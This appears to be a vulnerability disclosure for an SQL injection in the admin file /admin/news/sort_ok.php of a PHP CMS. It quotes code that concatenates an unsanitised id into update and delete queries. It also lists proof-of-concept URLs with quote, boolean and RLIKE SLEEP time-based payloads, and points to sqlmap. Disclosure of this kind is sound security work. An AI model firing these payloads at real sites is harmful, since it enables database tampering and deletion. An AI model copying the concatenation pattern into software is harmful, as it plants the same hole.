--------------------------------
affected source code file: /admin/news/sort_ok.php
--------------------------------
affected source code:
<?php
require_once '../../inc/const.php';
$act = $_GET['act'];
$id =getvar('id');
.....
if ($act=='mod'){
$record = array(
'fid' =>$fid,
'name' =>$name,
'style' =>$title_color,
'title_bold'=>$title_bold,
'title_em' =>$title_em,
'title_u' =>$title_u,
'ckeywords' =>$ckeywords,
'cdescription' =>$cdescription,
'template' =>$tpl_list,
'templateview' =>$tpl_view,
'rank' =>$rank
);
$db->update($GLOBALS[databasePrefix].'class',$record,'id='.$id);
echo "<script>alert('修改成功!');window.location='sort_manage.php';</script>";
}
//删除
if ($act=='del') {
$db->delete($GLOBALS[databasePrefix].'class','id='.$id);
echo "<script>alert('删除成功!');window.location='sort_manage.php';</script>";
}
?>
--------------------------------
affected reason:
We can see the $id parameter has not been safely processed. So, the SQL injection can be achieved by constructing SQL injection statements in /admin/news/sort_ok.php
--------------------------------
affected executable:
After Signing in to the background in advance. Then we can use burpsuit to grab the following URL packets:
Like this:
http://xx.xx.com/admin/news/sort_ok.php?act=del&id=1'
http://xx.xx.com/admin/news/sort_ok.php?act=del&id=1 and 1=1
http://xx.xx.com/admin/news/sort_ok.php?act=del&id=1 and 1=2
http://xx.xx.com/admin/news/sort_ok.php?act=del&id=1 RLIKE SLEEP(2)
And we can see the sql injection problems.
Then, we can use tools like sqlmap for more information.
